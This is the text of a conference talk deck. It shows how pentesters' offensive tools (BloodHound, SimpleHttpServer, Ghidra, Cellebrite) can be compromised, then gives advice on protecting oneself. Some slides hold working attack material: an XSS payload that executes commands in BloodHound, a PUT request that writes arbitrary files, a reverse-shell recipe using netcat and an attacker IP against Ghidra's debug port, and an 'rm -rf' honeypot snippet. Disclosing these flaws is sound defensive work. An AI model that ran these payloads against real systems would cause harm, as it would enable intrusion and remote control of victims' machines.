

What if you're pwned during an offensive engagement? // Blue team goes brrRRR



@TheLa1uka



“It's just for offensive tasks, we
don't care about defense here”

“It's **not exposed** anyway, that's **fineeeee**”

“It can't be **that** bad, I ran it **only once**”

THAT friend.





What would you do if you're pwned
during a security engagement?

Hey captain, what's the plan?

Thanks for asking!

1. What pentesters “do”
2. Why we're doomed
3. PoCs for pwning offensive tools
4. How to protect yourself
5. Conclusion

1. What pentesters “do”



- What we do
 - Break stuff
 - Use MANY tools
 - What we protect
 - Own exploits & tools
 - Customer data
 - Personal data
-

Constraints & Risks

1

- Heavy time restriction
- Usability (& Laziness)

3

- Supply chain attacks
- P0wned developers

2


- Fake || Backdoored Tools

4

- Legitimate needs:
Privileges & Performance
-

2. Why we're doomed

—



3. PoCs on offensive tools



Example 1 | BloodHound

1

- ElectronJS

3

- XSS? Yes please

2

- Protections? Naaah

4

- RCE? Sure! :)
-

Example 1 - BloodHound

<https://github.com/BloodHoundAD/BloodHound/issues/338>

[Security] XSS in HelpModal leading to RCE via imported malicious data file #338

Open magicOz opened this issue on Jun 21, 2020 · 2 comments



magicOz commented on Jun 21, 2020

The **help text**-modal utilizes the React component attribute `dangerouslySetInnerHTML` when rendering the **Info**, **Abuse Info**, etc. texts. E.g.

`BloodHound/src/components/Modals/HelpTexts/GenericAll/GenericAll.jsx`
Lines 31 to 37 in 338e197

```
31   dangerouslySetInnerHTML={Abuse({
32     sourceName,
33     sourceType,
34     targetName,
35     targetType,
36     targetId
37   })}
```

This makes the application vulnerable to XSS unless the input parameters are properly sanitized/encoded.

It turns out that the parameter `targetId` (objectid) isn't encoded, and is reflected in multiple **Abuse Info**-texts - making the application vulnerable.

```
File Edit Selection View Go Run Terminal Help
EXPLORER JS main.js x
resources > app > JS main.js > ...
OPEN EDITORS
x JS main.js resources/...
BLOODHO...
resources/app
  Collectors
  dist
  node_modules
  src
  components
  css
  fonts
  img
  js
  AppContainer.jsx
  AppContext.jsx
  index.js
  .gitignore
  .travis.yml
  appveyor.yml
  deploy.sh
  index.html
  LICENSE-3RD-PART...
  LICENSE.md
  JS main.js
  package-lock.json
  package.json
  README.md
  renderer.js
  server.js
  webpack.config.devel...
  webpack.config.prod...
  swiftshader

10 // Keep a global reference of the window object, if you do
11 // be closed automatically when the JavaScript object is g
12 let mainWindow;
13
14 function createWindow() {
15   // Create the browser window.
16   if (platform === 'darwin') {
17     mainWindow = new BrowserWindow({
18       width: 1280,
19       height: 800,
20       icon: dirname + '/src/img/icon.png',
21       webPreferences: {
22         nodeIntegration: true,
23       },
24     });
25   } else if (platform === 'linux') {
26     mainWindow = new BrowserWindow({
27       width: 1280,
28       height: 800,
29       icon: dirname + '/src/img/icon.png',
30       webPreferences: {
31         nodeIntegration: true,
32       },
33     });
34   } else {
35     mainWindow = new BrowserWindow({
36       width: 1280,
37       height: 800,
38       icon: dirname + '/src/img/icon.ico',
39       webPreferences: {
40         nodeIntegration: true,
41       },
42     });
43   }
44   mainWindow.loadURL(`file://${_dirname}/index.html`);
45
46 }
```

Example 1 - BloodHound

<https://github.com/BloodHoundAD/BloodHound/issues/338>

PoC (Windows):

I've attached a zip, `graph.zip`, containing a malicious file, `graph.json`. (You may need to download the file).

1. Import the file `graph.json` into BloodHound.
2. Click **Help** on the edge between `NODE1@DOMAIN.COM` and `MALICIOUS@DOMAIN.COM`.
3. This should pop `notepad.exe C:/windows/win.ini`

```
laluka@laluka-work ~/Downloads
└─> cat graph.json | jq . | grep require -C 3
  },
  "x": 957.1684560330476,
  "y": 425.75586050939177,
  "objectid": "dd812422-2acc-41e1-9d43-e2215cbfalbc<img src=x onerror=\"require('child_process').execSync('gnome-calculator')\">\",
  "end": true,
  "type_out": true,
  "size": 1,
```

Jun 21, 2020

.

August 28 2021



Raw Query

```
logs: /var/log/neo4j
plugins: /var/lib/neo4j/plugins
import: /var/lib/neo4j/import
data: /var/lib/neo4j/data
certificates: /var/lib/neo4j/certificates
run: /var/run/neo4j
```

```
Starting Neo4j.
WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual.
2021-08-13 10:18:18.024+0000 INFO ===== Neo4j 4.0.12 =====
2021-08-13 10:18:18.034+0000 INFO Starting...
2021-08-13 10:18:26.707+0000 INFO Bolt enabled on localhost:7687.
2021-08-13 10:18:26.708+0000 INFO Started.
2021-08-13 10:18:28.241+0000 INFO Remote interface available at http://localhost:7474/
```

```
l. 00. graphviz
└─ laluka@laluka-work ~/Downloads
   └─ rm
      └─ laluka@laluka-work ~/Downloads
         └─ ./BloodHound 130 +
            └─ laluka@laluka-work ~/Downloads
               └─ cd - 130 +
                  └─ ~/Downloads/BloodHound-linux-x64
                     └─ laluka@laluka-work ~/Downloads/BloodHound-linux-x64
                        └─ ./BloodHound
                           (node:249706) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability
                           ty issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods inste
                           ad.
```

Example 2 | SimpleHttpServer (ProjDisc)

1

- python3 http.server clone
- Golang / *NIX focused

3

- Good code?
 - *NIX yes
 - Windows nope

2

- Dangerous features?
 - Yeee, upload!

4

- RCE? In 2 steps :)
-

Example 2 | SimpleHttpServer (ProjDisc)

<https://github.com/projectdiscovery/simplehttpserver/issues/34>

The vulnerable code lives there:

`simplehttpserver/pkg/httpserver/loglayer.go`

Line 31 in 97d5e90

```
31 err = handleUpload(path.Base(r.URL.Path), data)
```

`simplehttpserver/pkg/httpserver/uploadlayer.go`

Lines 5 to 7 in 97d5e90

```
5 func handleUpload(file string, data []byte) error {  
6     return ioutil.WriteFile(file, data, 0655)  
7 }
```

Happy patching, and have a nice day! 🌸



4



2



2



1

func Base

```
func Base(path string) string
```

Base returns the last element of path. Trailing slashes are removed before extracting the last element. If the path is empty, Base returns ".". If the path consists entirely of slashes, Base returns "/".

▼ Example

```
package main  
  
import (  
    "fmt"  
    "path"  
)  
  
func main() {  
    fmt.Println(path.Base("/foo/\\\\\\\\42.42.42.42\\\\share"))  
    fmt.Println(path.Base("/"))  
    fmt.Println(path.Base("a/b"))  
    fmt.Println(path.Base("/aa"))  
    fmt.Println(path.Base(""))  
}
```

```
\\\\42.42.42.42\\\\share
```

```
/
```

```
b
```

```
aa
```

```
.
```

Program exited.

File Machine View Input Devices Help

Computer > Windows 7 (C:) > Users > IEUser > Desktop

Search Desktop

Organize Include in library Share with New folder

Name	Date modified	Type	Size
foo.txt	4/18/2021 9:47 AM	Text Document	1 KB

Windows Command Prompt:

```
C:\Windows\system32\cmd.exe - \simplehttpserver.exe --upload
F:\pd-vuln\simplehttpserver>.simplehttpserver.exe --upload

projectdiscovery.io

Use with caution. You are responsible for your actions
Developers assume no liability and are not responsible for any misuse or damage.

Serving F:\pd-vuln\simplehttpserver on http://0.0.0.0:8000/
C:\foo
192.168.1.25:36986 "PUT /C:%5Cfoo HTTP/1.1" 500 26
C:\foo.txt
C:\foo.txt
192.168.1.25:36992 "PUT /C:%5Cfoo.txt HTTP/1.1" 500 26
192.168.1.25:36990 "PUT /C:%5Cfoo.txt HTTP/1.1" 500 26
C:\Users\IEUser\Desktop\foo.txt
192.168.1.25:36994 "PUT /C:%5CUsers%5CIEUser%5CDesktop%5Cfoo.txt HTTP/1.1" 500 26
```

Windows Taskbar: 9:49 AM 4/18/2021

log(path.Base)
It's now ANYWHERE

Burp Project Intruder Repeater Window Help Logger++

Project options User options Hackvector

Dashboard Target Proxy Intruder

Send Cancel

Request Response

Raw

```
1 PUT /C:\Users\IEUser\Desktop\foo.txt HTTP/1.1
2 Host: 192.168.1.21:8000
3 User-Agent: curl/7.68.0
4 Accept: */*
5 Content-Length: 6
6 Expect: 100-continue
7 Connection: close
8
9 dummy
10
```

Windows Taskbar: 9:49 AM 4/18/2021

Example 2 | SimpleHttpServer (ProjDisc)

<https://github.com/projectdiscovery/simplehttpserver/issues/34>

Apr 18, 2021

July 29 2021

A screenshot of a GitHub issue comment thread. The top comment is from user 'ehsandeep', a member, who says "@laluka all the security features are enabled with `-sandbox` flag." The bottom comment is from user 'laluka', the author, who replies "Nice! Is this flag a default behavior? I couldn't check yet, but a `-no-sandbox` flag with a default enabled sandbox would be preferable! :)" and has 2 likes.

ehsandeep commented 16 days ago Member

@laluka all the security features are enabled with `-sandbox` flag.

laluka commented 16 days ago Author

Nice!
Is this flag a default behavior?
I couldn't check yet, but a `-no-sandbox` flag with a default enabled sandbox would be preferable! :)

👍 2

Example 3

Ghidra

1

- Awesome tool, brand “new”
- Powerful & Open Source

3

- Is it vulnerable?
 - Yes

2

- Is it a software?
 - Yes

4


- RCE?
 - Exposed JDWP debug port 18001
 - XML parsing bugs
-

Example 3 | Ghidra

<https://thewhiteh4t.github.io/2019/03/16/Ghidra-v9.0-Remote-Code-Execution-PoC-Windows-10-1809.html>

<https://github.com/NationalSecurityAgency/ghidra/issues/6>

<https://github.com/NationalSecurityAgency/ghidra/issues/1090>






Filters Labels 95 Milestones 2 [New issue](#)

Clear current search query, filters, and sorts

0 Open 4 Closed

Author Label Projects Milestones Assignee Sort

- RCE possible in Function Bit Patterns Explorer Plugin** Type: Security  1
#1090 by purpleracc00n was closed on Oct 2, 2019
- JDWP debug mode is exposed to the internet, enabling RCE** Status: Duplicate  2
#55 by eligrey was closed on Mar 6, 2019
- RCE Through JDWP Debug Port** Type: Bug  29
#6 by ghost was closed on Mar 7, 2019


Example 3 | Ghidra

<https://thewhiteh4t.github.io/2019/03/16/Ghidra-v9.0-Remote-Code-Execution-PoC-Windows-10-1809.html>

<https://github.com/NationalSecurityAgency/ghidra/issues/6>

<https://github.com/NationalSecurityAgency/ghidra/issues/1090>

Reverse Shell Exploit #143

 Closed

Aholicknight opened this issue on Mar 10, 2019 · 1 comment



Aholicknight commented on Mar 10, 2019



Steps how to get reverse shell:

```
jdb -attach $IP:$PORT of the machine running GHIDRA classes #show the loaded classes, search for any that support the run() method, for example: org.apache.logging.log4j.core.util.WatchManager$WatchRunnable set a breakpoint with: stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run() wait for the breakpoint hit open netcat in your attacking computer: nc -nlvvp $PORT use: print new java.lang.Runtime().exec("nc $AttackerIP $AttackerPort -e /bin/sh (or the equivalent in windows)") Go to your netcat listen machine and enjoy system commands
```

How could we resolve this major exploit? Clearly this is very dangerous.

Example 4 | Cellebrite

1

- What are Cellebrite products

3

- Signal's answer




<https://signal.org/blog/cellebrite-vulnerabilities/>

2

- A good target?
 - Dependencies
 - Many parsers
 - Huge codebase
 - “Not exposed anyway”

4

- Please, use signal :)
-



Example 5 | ZephrFish

1

- Audit: Pulse Secure VPN

3

- `git clone; ./exploit.sh`

2

- Many CVE-2021-*

4



Example 5 | ZephrFish

CVE	CVSS Score (V3.1)	Summary	Product Affected
CVE-2021-22893	10 Critical 3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H	Multiple use after free in Pulse Connect Secure before 9.1R11.4 allows a remote unauthenticated attacker to execute arbitrary code via license services.	PCS 9.0R3/9.1R1 and Higher
CVE-2021-22894	9.9 Critical CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H	Buffer overflow in Pulse Connect Secure Collaboration Suite before 9.1R11.4 allows a remote authenticated users to execute arbitrary code as the root user via maliciously crafted meeting room.	PCS: 9.1Rx 9.0Rx

Example 5 | ZephrFish

```
File: exploit.sh
1
2
3  USAGE="
4  Bash script to achieve RCE
5  Flags:
6  -c      Target IP Address.
7  usage:  exploit.sh -c <TargetIP>
8  example: exploit.sh -c 10.0.0.1
9  example: exploit.sh -l <ListOfIPs>
10 example: exploit.sh -l ips.txt
11 "
12 if [ $# -eq 0 ]; then
13     echo "$USAGE"
14     exit
15 fi
16 echo "HONEYPOC - NOT A REAL EXPLOIT"
17 echo "[!] Exploiting Host $1 $2"
18 echo "[+] Beginning Erasure of /"
19 sleep 5s
20 ls -aliRtu /
21 echo "[!] Deleted Root File System."
22 sleep 5s
23 echo "We're no strangers to love"
24 echo "You know the rules and so do I,"
25         echo "A full commitment's what I'm thinking of."
26         echo "You wouldn't get this from any other guy."
27         echo "I just wanna tell you how I'm feeling."
28         echo "Gotta make you understand"
29         echo "Never gonna give you up."
30         echo "Never gonna let you down."
31         echo "Never gonna run around and desert you."
32         echo "Never gonna make you cry."
33         echo "Never gonna say goodbye."
34         echo "Never gonna tell a lie and hurt you."
35
36 echo "[!] You should have read the source. HoneyPoC 3.0 - https://
```

github "CVE-2021-22893"



Tous Actualités Maps Images Vidéos Plus

Outils

Environ 2800 résultats (0,39 secondes)

<https://github.com> > ZephrFish > CV... > Traduire cette page

[ZephrFish/CVE-2021-22893: Proof-of-Concept \(PoC ... - GitHub](#)

Proof-of-Concept (PoC) script to exploit Pulse Secure CVE-2021-22893. - [GitHub](#) -

[ZephrFish/CVE-2021-22893: Proof-of-Concept \(PoC\) script to exploit Pulse ...](#)

<https://github.com> > Mad-robot > C... > Traduire cette page

[Mad-robot/CVE-2021-22893: Pulse Connect Secure ... - GitHub](#)

Pulse Connect Secure RCE Vulnerability (CVE-2021-22893) - [GitHub](#) - [Mad-robot/CVE-2021-](#)

[22893: Pulse Connect Secure RCE Vulnerability \(CVE-2021-22893\)](#)

<https://github.com> > ZephrFish > blob > Traduire cette page

[CVE-2021-22893/exploit.sh at main - GitHub](#)

CVE-2021-22893 RCE PoC. # This is how dangerous not reading the source code is: # rm -rf /*

--no-preserve-root. USAGE=". Bash script to achieve RCE.

<https://github.com> > blob > Playbooks > Traduire cette page

[content/playbook-CVE-2021-22893_ ... - GitHub](#)

On April 20th, a new Remote Code Execution vulnerability in Pulse Connect Secure was

disclosed. The reference number for the vulnerability is CVE-2021-22893 ...

<https://github.com> > blob > main > C... > Traduire cette page

[Mad-robot/CVE-2021-22893 - GitHub](#)

Pulse Connect Secure RCE Vulnerability (CVE-2021-22893) - CVE-2021-22893/CVE-2021-

[22893.py at main · Mad-robot/CVE-2021-22893.](#)

<https://github.com> > ... > Traduire cette page

[Gh0st0ne · GitHub](#)

Proof-of-Concept (PoC) script to exploit Pulse Secure CVE-2021-22893. Shell 1.

git client rce

sudo exploits

apt & snap weak
packages default
configuration

dependency
confusion



curl foo.bar | bash

* Graphic designer needed, asap, help

4. How to protect yourself





0 - Patch the world



1 - Protect your data

- Encrypted laptop disk
- PlainText (current mission only)
- VeraCrypt (few month to a year)
 - Mount: `veracrypt --text missions.hc /mnt/vera`
 - Umount: `veracrypt -d`
- Encrypted drive, offline (backup)
- Delete * after X years



2 - Lower your exposure

- Monitor **open ports** (prefer loopback only)
 - `sudo lsof -i | grep -iF listen`
 - `sudo ss -lstatepun | grep -iF listen`
- Monitor **connections** (and react)

```
#!/bin/bash

# In /etc/pam.d/sshd
# session required pam_exec.so seteuid /foo/notifier.sh
# debug with "optional" instead of "required"

cd /foo

URL=$(cat .webhook)
MESSAGE="\`\\\`\\\`\\\`Event: $PAM_TYPE
- Who : $PAM_USER@$(hostname)
- When: $(date)
- Type: $PAM_SERVICE\\\`\\\`\\\`\\\`"

curl "$URL" -d "content=$MESSAGE"
```




```
Event: open_session
- Who : root@██████████
- When: samedi 14 août 2021, 10:09:43 (UTC 0200)
- Type: sshd
```

```
Event: close_session
- Who : root@██████████
- When: samedi 14 août 2021, 10:09:48 (UTC 0200)
- Type: sshd
```


4 - Read the code

1. Read the code
 - a. Read the code?
 - i. Read the code :)

```
273 # Conclusion
274
275 Tout ce bloc de texte pour expliquer 10 lignes de PHP, ca vaudrait le coup
276 d'apprendre à lire du code :)
```



5 - Global Solution

Minimal host

- 1 Personal VM
- 1 Audit VM
- `Snapshots.restore()`

Save your snapshots
(encrypted) for log
retention



Fully setup Host

- For every mission,
dd it from scratch
- Provisioning scripts
(bash, ansible, ...)

Save your shell history
with your (encrypted)
mission's data


5. Conclusion



So, what should I remember?

- There is no perfect solution
- This talk is not an exhaustive guide on how to “not be hacked”
- Just a friendly pentester raising concerns :)

What about “Blue team goes brrrRRR”



Connect the dots

Protect your



Nooo! you
can't just-

- AD
- Website
- Server
- MobileApp

With attacks on



Haha
interrupt go brrr

- BloodHound
- PingCastle
- Wappalyzer
- Nuclei
- Nmap
- Celebrite
- Frida

Questions & Kudos



- BarbHack's Staff
- Developers of the World, creating cool ~~bugs~~ tools
- "THAT" friend 🙄👉



@TheLa1uka

